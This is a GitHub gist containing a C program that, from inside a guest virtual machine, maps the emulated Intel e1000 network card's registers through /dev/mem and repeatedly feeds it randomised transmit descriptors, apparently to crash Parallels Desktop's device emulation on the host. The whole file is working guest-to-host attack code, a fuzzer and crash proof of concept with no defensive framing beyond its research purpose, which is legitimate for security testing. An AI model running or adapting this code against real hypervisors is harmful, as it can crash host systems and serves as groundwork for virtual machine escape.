Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save R00tkitSMM/1ff53355dbf74714dec99429e802af10 to your computer and use it in GitHub Desktop.
Save R00tkitSMM/1ff53355dbf74714dec99429e802af10 to your computer and use it in GitHub Desktop.
Parallels_desktop_e1000_crash.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdint.h>
#include <time.h>
#define RAH_VALID (1 << 31) /* AV */
enum {
REG_CTL = 0x0,
REG_STATUS = 0x8,
REG_EECD = 0x10, /* EEPROM Control */
REG_EEPROM_READ = 0x14, /* EERD */
REG_VET = 0x38, /* VLAN */
REG_INTR_CAUSE = 0xc0, /* ICR */
REG_INTR_MASK = 0xd0, /* IMS */
REG_INTR_MASK_CLR = 0xd8, /* IMC */
REG_RX_CTL = 0x100,
REG_TX_CTL = 0x400,
REG_RXDESC_ADDR_LO = 0x2800,
REG_RXDESC_ADDR_HI = 0x2804,
REG_RXDESC_LEN = 0x2808,
REG_RXDESC_HEAD = 0x2810,
REG_RXDESC_TAIL = 0x2818,
REG_RX_DELAY_TIMER = 0x2820,
REG_RADV = 0x282c,
REG_TXDESC_ADDR_LO = 0x3800,
REG_TXDESC_ADDR_HI = 0x3804,
REG_TXDESC_LEN = 0x3808,
REG_TXDESC_HEAD = 0x3810,
REG_TXDESC_TAIL = 0x3818,
REG_TX_DELAY_TIMER = 0x3820,
REG_TADV = 0x382c,
REG_RECV_ADDR_LIST = 0x5400, /* RAL */
};
enum {
CTL_AUTO_SPEED = (1 << 5), /* ASDE */
CTL_LINK_UP = (1 << 6), /* SLU */
CTL_RESET = (1 << 26), /* RST */
CTL_PHY_RESET = (1 << 31),
};
enum {
RCTL_ENABLE = (1 << 1),
RCTL_BROADCAST = (1 << 15), /* BAM */
};
enum {
TCTL_ENABLE = (1 << 1),
TCTL_PADDING = (1 << 2),
TCTL_COLL_TSH = (0x0f << 4), /* CT - Collision Threshold */
TCTL_COLL_DIST = (0x40 << 12), /* COLD - Collision Distance */
};
enum {
ICR_TRANSMIT = (1 << 0),
ICR_RECEIVE = (1 << 7),
};
enum {
EEPROM_OFS_MAC = 0x0,
};
#define INTEL_VEND 0x8086 // Vendor ID for Intel
#define E1000_DEV 0x100E // Device ID for the e1000 Qemu, Bochs, and VirtualBox emmulated NICs
#define E1000_I217 0x153A // Device ID for Intel I217
#define E1000_82577LM 0x10EA // Device ID for Intel 82577LM
// I have gathered those from different Hobby online operating systems instead of getting them one by one from the manual
#define REG_CTRL 0x0000
#define REG_STATUS 0x0008
#define REG_EEPROM 0x0014
#define REG_CTRL_EXT 0x0018
#define REG_IMASK 0x00D0
#define REG_RCTRL 0x0100
#define REG_RXDESCLO 0x2800
#define REG_RXDESCHI 0x2804
#define REG_RXDESCLEN 0x2808
#define REG_RXDESCHEAD 0x2810
#define REG_RXDESCTAIL 0x2818
#define REG_TCTRL 0x0400
#define REG_TXDESCLO 0x3800
#define REG_TXDESCHI 0x3804
#define REG_TXDESCLEN 0x3808
#define REG_TXDESCHEAD 0x3810
#define REG_TXDESCTAIL 0x3818
#define REG_RDTR 0x2820 // RX Delay Timer Register
#define REG_RXDCTL 0x3828 // RX Descriptor Control
#define REG_RADV 0x282C // RX Int. Absolute Delay Timer
#define REG_RSRPD 0x2C00 // RX Small Packet Detect Interrupt
#define REG_TIPG 0x0410 // Transmit Inter Packet Gap
#define ECTRL_SLU 0x40 //set link up
#define RCTL_EN (1 << 1) // Receiver Enable
#define RCTL_SBP (1 << 2) // Store Bad Packets
#define RCTL_UPE (1 << 3) // Unicast Promiscuous Enabled
#define RCTL_MPE (1 << 4) // Multicast Promiscuous Enabled
#define RCTL_LPE (1 << 5) // Long Packet Reception Enable
#define RCTL_LBM_NONE (0 << 6) // No Loopback
#define RCTL_LBM_PHY (3 << 6) // PHY or external SerDesc loopback
#define RTCL_RDMTS_HALF (0 << 8) // Free Buffer Threshold is 1/2 of RDLEN
#define RTCL_RDMTS_QUARTER (1 << 8) // Free Buffer Threshold is 1/4 of RDLEN
#define RTCL_RDMTS_EIGHTH (2 << 8) // Free Buffer Threshold is 1/8 of RDLEN
#define RCTL_MO_36 (0 << 12) // Multicast Offset - bits 47:36
#define RCTL_MO_35 (1 << 12) // Multicast Offset - bits 46:35
#define RCTL_MO_34 (2 << 12) // Multicast Offset - bits 45:34
#define RCTL_MO_32 (3 << 12) // Multicast Offset - bits 43:32
#define RCTL_BAM (1 << 15) // Broadcast Accept Mode
#define RCTL_VFE (1 << 18) // VLAN Filter Enable
#define RCTL_CFIEN (1 << 19) // Canonical Form Indicator Enable
#define RCTL_CFI (1 << 20) // Canonical Form Indicator Bit Value
#define RCTL_DPF (1 << 22) // Discard Pause Frames
#define RCTL_PMCF (1 << 23) // Pass MAC Control Frames
#define RCTL_SECRC (1 << 26) // Strip Ethernet CRC
// Buffer Sizes
#define RCTL_BSIZE_256 (3 << 16)
#define RCTL_BSIZE_512 (2 << 16)
#define RCTL_BSIZE_1024 (1 << 16)
#define RCTL_BSIZE_2048 (0 << 16)
#define RCTL_BSIZE_4096 ((3 << 16) | (1 << 25))
#define RCTL_BSIZE_8192 ((2 << 16) | (1 << 25))
#define RCTL_BSIZE_16384 ((1 << 16) | (1 << 25))
// Transmit Command
#define CMD_EOP (1 << 0) // End of Packet
#define CMD_IFCS (1 << 1) // Insert FCS
#define CMD_IC (1 << 2) // Insert Checksum
#define CMD_RS (1 << 3) // Report Status
#define CMD_RPS (1 << 4) // Report Packet Sent
#define CMD_VLE (1 << 6) // VLAN Packet Enable
#define CMD_IDE (1 << 7) // Interrupt Delay Enable
// TCTL Register
#define TCTL_EN (1 << 1) // Transmit Enable
#define TCTL_PSP (1 << 3) // Pad Short Packets
#define TCTL_CT_SHIFT 4 // Collision Threshold
#define TCTL_COLD_SHIFT 12 // Collision Distance
#define TCTL_SWXOFF (1 << 22) // Software XOFF Transmission
#define TCTL_RTLC (1 << 24) // Re-transmit on Late Collision
#define TSTA_DD (1 << 0) // Descriptor Done
#define TSTA_EC (1 << 1) // Excess Collisions
#define TSTA_LC (1 << 2) // Late Collision
#define LSTA_TU (1 << 3) // Transmit Underrun
#define E1K_DTYP_LEGACY -1
#define E1K_DTYP_CONTEXT 0
#define E1K_DTYP_DATA 1
#define E1K_SPEC_VLAN(s) (s & 0xFFF)
#define E1K_SPEC_CFI(s) (!!((s>>12) & 0x1))
#define E1K_SPEC_PRI(s) ((s>>13) & 0x7)
struct E1kTDLegacy
{
uint64_t u64BufAddr; /**< Address of data buffer */
struct TDLCmd_st
{
unsigned u16Length : 16;
unsigned u8CSO : 8;
/* CMD field : 8 */
unsigned fEOP : 1;
unsigned fIFCS : 1;
unsigned fIC : 1;
unsigned fRS : 1;
unsigned fRPS : 1;
unsigned fDEXT : 1;
unsigned fVLE : 1;
unsigned fIDE : 1;
} cmd;
struct TDLDw3_st
{
/* STA field */
unsigned fDD : 1;
unsigned fEC : 1;
unsigned fLC : 1;
unsigned fTURSV : 1;
/* RSV field */
unsigned u4RSV : 4;
/* CSS field */
unsigned u8CSS : 8;
/* Special field*/
unsigned u16Special : 16;
} dw3;
};
struct E1kTDContext
{
struct CheckSum_st
{
/** TSE: Header start. !TSE: Checksum start. */
unsigned u8CSS : 8;
/** Checksum offset - where to store it. */
unsigned u8CSO : 8;
/** Checksum ending (inclusive) offset, 0 = end of packet. */
unsigned u16CSE : 16;
} ip;
struct CheckSum_st tu;
struct TDCDw2_st
{
/** TSE: The total number of payload bytes for this context. Sans header. */
unsigned u20PAYLEN : 20;
/** The descriptor type - E1K_DTYP_CONTEXT (0). */
unsigned u4DTYP : 4;
/** TUCMD field, 8 bits
* @{ */
/** TSE: TCP (set) or UDP (clear). */
unsigned fTCP : 1;
/** TSE: IPv4 (set) or IPv6 (clear) - for finding the payload length field in
* the IP header. Does not affect the checksumming.
* @remarks 82544GC/EI interprets a cleared field differently. */
unsigned fIP : 1;
/** TSE: TCP segmentation enable. When clear the context describes */
unsigned fTSE : 1;
/** Report status (only applies to dw3.fDD for here). */
unsigned fRS : 1;
/** Reserved, MBZ. */
unsigned fRSV1 : 1;
/** Descriptor extension, must be set for this descriptor type. */
unsigned fDEXT : 1;
/** Reserved, MBZ. */
unsigned fRSV2 : 1;
/** Interrupt delay enable. */
unsigned fIDE : 1;
/** @} */
} dw2;
struct TDCDw3_st
{
/** Descriptor Done. */
unsigned fDD : 1;
/** Reserved, MBZ. */
unsigned u7RSV : 7;
/** TSO: The header (prototype) length (Ethernet[, VLAN tag], IP, TCP/UDP. */
unsigned u8HDRLEN : 8;
/** TSO: Maximum segment size. */
unsigned u16MSS : 16;
} dw3;
};
typedef struct E1kTDContext E1KTXCTX;
struct E1kTDData
{
uint64_t u64BufAddr; /**< Address of data buffer */
struct TDDCmd_st
{
/** The total length of data pointed to by this descriptor. */
unsigned u20DTALEN : 20;
/** The descriptor type - E1K_DTYP_DATA (1). */
unsigned u4DTYP : 4;
/** @name DCMD field, 8 bits (3.3.7.1).
* @{ */
/** End of packet. Note TSCTFC update. */
unsigned fEOP : 1;
/** Insert Ethernet FCS/CRC (requires fEOP to be set). */
unsigned fIFCS : 1;
/** Use the TSE context when set and the normal when clear. */
unsigned fTSE : 1;
/** Report status (dw3.STA). */
unsigned fRS : 1;
/** Reserved. 82544GC/EI defines this report packet set (RPS). */
unsigned fRPS : 1;
/** Descriptor extension, must be set for this descriptor type. */
unsigned fDEXT : 1;
/** VLAN enable, requires CTRL.VME, auto enables FCS/CRC.
* Insert dw3.SPECIAL after ethernet header. */
unsigned fVLE : 1;
/** Interrupt delay enable. */
unsigned fIDE : 1;
/** @} */
} cmd;
struct TDDDw3_st
{
/** @name STA field (3.3.7.2)
* @{ */
unsigned fDD : 1; /**< Descriptor done. */
unsigned fEC : 1; /**< Excess collision. */
unsigned fLC : 1; /**< Late collision. */
/** Reserved, except for the usual oddball (82544GC/EI) where it's called TU. */
unsigned fTURSV : 1;
/** @} */
unsigned u4RSV : 4; /**< Reserved field, MBZ. */
/** @name POPTS (Packet Option) field (3.3.7.3)
* @{ */
unsigned fIXSM : 1; /**< Insert IP checksum. */
unsigned fTXSM : 1; /**< Insert TCP/UDP checksum. */
unsigned u6RSV : 6; /**< Reserved, MBZ. */
/** @} */
/** @name SPECIAL field - VLAN tag to be inserted after ethernet header.
* Requires fEOP, fVLE and CTRL.VME to be set.
* @{ */
unsigned u16Special : 16; /**< VLAN: Id, Canonical form, Priority. */
/** @} */
} dw3;
};
typedef struct E1kTDData E1KTXDAT;
union E1kTxDesc
{
struct E1kTDLegacy legacy;
struct E1kTDContext context;
struct E1kTDData data;
};
typedef union E1kTxDesc E1KTXDESC;
uint64_t mem_base;
void write32 (uint64_t p_address,uint32_t p_value)
{
(*((volatile uint32_t*)(p_address)))=(p_value);
}
uint32_t read32 (uint64_t p_address)
{
return *((volatile uint32_t*)(p_address));
}
void writeCommand( uint16_t p_address, uint32_t p_value)
{
write32(mem_base + p_address, p_value);
}
uint32_t readCommand( uint16_t p_address)
{
return read32(mem_base+p_address);
}
volatile void *dev_mmio_map(volatile void *mmio_region_guest_phys_address, size_t len)
{
int fd = open("/dev/mem", O_RDWR | O_SYNC);
if (fd == -1)
{
perror("open /dev/mem");
exit(EXIT_FAILURE);
}
void *mmio_region_guest_virt_address = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (off_t)mmio_region_guest_phys_address);
if (!mmio_region_guest_virt_address)
{
perror("mmap /dev/mem");
exit(EXIT_FAILURE);
}
close(fd);
return mmio_region_guest_virt_address;
}
void *virt_to_phys(const void *addr)
{
#define PAGEMAP_LENGTH sizeof(size_t)
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
{
perror("open /proc/self/pagemap");
exit(EXIT_FAILURE);
}
size_t offset = (size_t)addr / getpagesize() * PAGEMAP_LENGTH;
lseek(fd, offset, SEEK_SET);
size_t page_frame_number = 0;
if (read(fd, &page_frame_number, PAGEMAP_LENGTH) != PAGEMAP_LENGTH)
{
perror("open /proc/self/pagemap: read page_frame_number");
exit(EXIT_FAILURE);
}
page_frame_number &= 0x7FFFFFFFFFFFFF;
close(fd);
return (void *)((page_frame_number << 12) | ((size_t)addr & 0xfff));
}
void deactive_deviec(){
/* deactive devie*/
writeCommand( REG_RX_CTL, 0);
writeCommand( REG_TX_CTL, 0);
writeCommand( REG_CTL, CTL_PHY_RESET);
writeCommand( REG_CTL, CTL_RESET);
while (readCommand( REG_CTL) & CTL_RESET);
writeCommand( REG_CTL, CTL_AUTO_SPEED | CTL_LINK_UP);
}
void active_device()
{
writeCommand(REG_CTL, CTL_AUTO_SPEED | CTL_LINK_UP);
writeCommand(REG_VET, 0);
writeCommand(REG_RECV_ADDR_LIST, 0x414141414141 & 0xFFFFFFFF);
writeCommand(REG_RECV_ADDR_LIST + 4, ((0x414141414141 >> 32) & 0xFFFF) | RAH_VALID);
writeCommand(REG_RX_CTL, RCTL_ENABLE | RCTL_BROADCAST);
writeCommand(REG_TX_CTL, TCTL_ENABLE | TCTL_PADDING| TCTL_COLL_TSH | TCTL_COLL_DIST);
}
#define PAGE_SIZE sysconf(_SC_PAGESIZE)
void fuzz() {
printf("page size :%x\n", PAGE_SIZE);
mem_base = dev_mmio_map(0xee000000, PAGE_SIZE * 15);
E1KTXDESC *payload = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
mlock(payload, PAGE_SIZE );
memset(payload, 0x41, PAGE_SIZE);
void *payload_phys_addr = virt_to_phys(payload);
E1KTXDESC *content = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
mlock(content, PAGE_SIZE);
memset(content, 0x42, PAGE_SIZE);
uint64_t content_physic = virt_to_phys(content);
printf("[+] payload_phys_addr 0x%llx content_physic 0x%llx\n", payload_phys_addr, content_physic);
uint32_t old_tx_lowpart = readCommand(REG_TXDESCLO);
uint32_t old_tx_highpart = readCommand(REG_TXDESCHI);
uint32_t old_tx_head = readCommand(REG_TXDESCHEAD);
uint32_t old_tx_tail = readCommand(REG_TXDESCTAIL);
uint32_t old_tx_len = readCommand(REG_TXDESC_LEN);
uint32_t old_rx_lowpart = readCommand(REG_RXDESCLO);
uint32_t old_rx_highpart = readCommand(REG_RXDESCHI);
uint32_t old_rx_head = readCommand(REG_RXDESCHEAD);
uint32_t old_rx_tail = readCommand(REG_RXDESCTAIL);
uint32_t old_rx_len = readCommand(REG_RXDESC_LEN);
for( int i = 0 ; i < 0x100 ; i++ ) {
payload[0].context.dw2.u4DTYP = rand();
payload[0].context.dw2.fDEXT = rand();
payload[0].context.dw2.fTSE = rand();
payload[0].context.dw3.u8HDRLEN = rand();
payload[0].context.dw3.u16MSS = rand();
payload[0].context.dw2.u20PAYLEN = rand();
//e1kPrintTDesc(&payload[0]);
payload[1].data.u64BufAddr = rand();
payload[1].data.cmd.u4DTYP = rand();
payload[1].data.cmd.fDEXT = rand();
payload[1].data.cmd.fTSE = rand();
payload[1].data.cmd.u20DTALEN = rand();
//e1kPrintTDesc(&payload[1]);
payload[2].data.u64BufAddr = rand();
payload[2].data.cmd.u4DTYP = rand();
payload[2].data.cmd.fDEXT = rand();
payload[2].data.cmd.fTSE = rand();
payload[2].data.cmd.u20DTALEN = rand();
//e1kPrintTDesc(&payload[2]);
payload[3].data.u64BufAddr = rand();
payload[3].data.cmd.u4DTYP = rand();
payload[3].data.cmd.fDEXT = rand();
payload[3].data.cmd.fTSE = rand();
payload[3].data.cmd.u20DTALEN = rand();
//e1kPrintTDesc(&payload[3]);
payload[4].data.u64BufAddr = rand();
payload[4].data.cmd.u4DTYP = rand();
payload[4].data.cmd.fDEXT = rand();
payload[4].data.cmd.fTSE = rand();
payload[4].data.cmd.fEOP = rand();
payload[4].data.cmd.u20DTALEN = rand();
payload[6].data.u64BufAddr = rand();
payload[6].data.cmd.u4DTYP = rand();
payload[6].data.cmd.fDEXT = rand();
payload[6].data.cmd.fTSE = rand();
payload[6].data.cmd.fEOP = rand();
payload[6].data.cmd.u20DTALEN = rand();
for ( int j = 0 ; j < 6 ; j++){
if ( payload[j].data.cmd.u4DTYP == E1K_DTYP_DATA) {
payload[j].data.u64BufAddr = content_physic;
}
}
//writeCommand(REG_TXDESCLO, 0x41414141);
//writeCommand(REG_TXDESCHI, 0x42424242);
deactive_deviec(); // reset device after reset we have to set len and TX hi low and head an tail
//writeCommand(REG_TXDESCLO, 0x4444444);
//writeCommand(REG_TXDESCHI, 0x5555555);
// for( int index = 0 ; index < PAGE_SIZE * 8 ; index += 4)
// {
// writeCommand(index, 0);
// }
writeCommand(REG_TXDESCLO, (uint32_t)((uint64_t)payload_phys_addr) );
writeCommand(REG_TXDESCHI, (uint32_t)( (uint64_t)(payload_phys_addr) >> 32 ));
writeCommand(REG_TXDESC_LEN, 0x100);
writeCommand(REG_TXDESCHEAD, 0);
writeCommand(REG_TXDESCTAIL, 5);
active_device(); // activate TX/RX
}
// printf("[+] hight 0x%llx low 0x%llx\n", readCommand(REG_TXDESCHI), readCommand(REG_TXDESCLO));
// getchar();
// printf(" now the second read\n");
// printf("[+] hight 0x%llx low 0x%llx\n", readCommand(REG_TXDESCHI), readCommand(REG_TXDESCLO));
printf("[+] REG_TXDESCHEAD %x\n", readCommand(REG_TXDESCHEAD));
//
// let the device works normally ( it dosen't, TODO: fix this)
deactive_deviec();
writeCommand(REG_TXDESCLO, old_tx_lowpart);
writeCommand(REG_TXDESCHI, old_tx_highpart);
writeCommand(REG_TXDESCHEAD, old_tx_head);
writeCommand(REG_TXDESCTAIL, old_tx_tail);
writeCommand(REG_TXDESC_LEN, old_tx_len);
writeCommand(REG_RXDESCLO, old_rx_lowpart);
writeCommand(REG_RXDESCHI, old_rx_highpart);
writeCommand(REG_RXDESCHEAD, old_rx_head);
writeCommand(REG_RXDESCTAIL, old_rx_tail);
writeCommand(REG_RXDESC_LEN, old_rx_len);
active_device();
}
int main(int argc, char *argv[]) {
fuzz();
printf("done\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment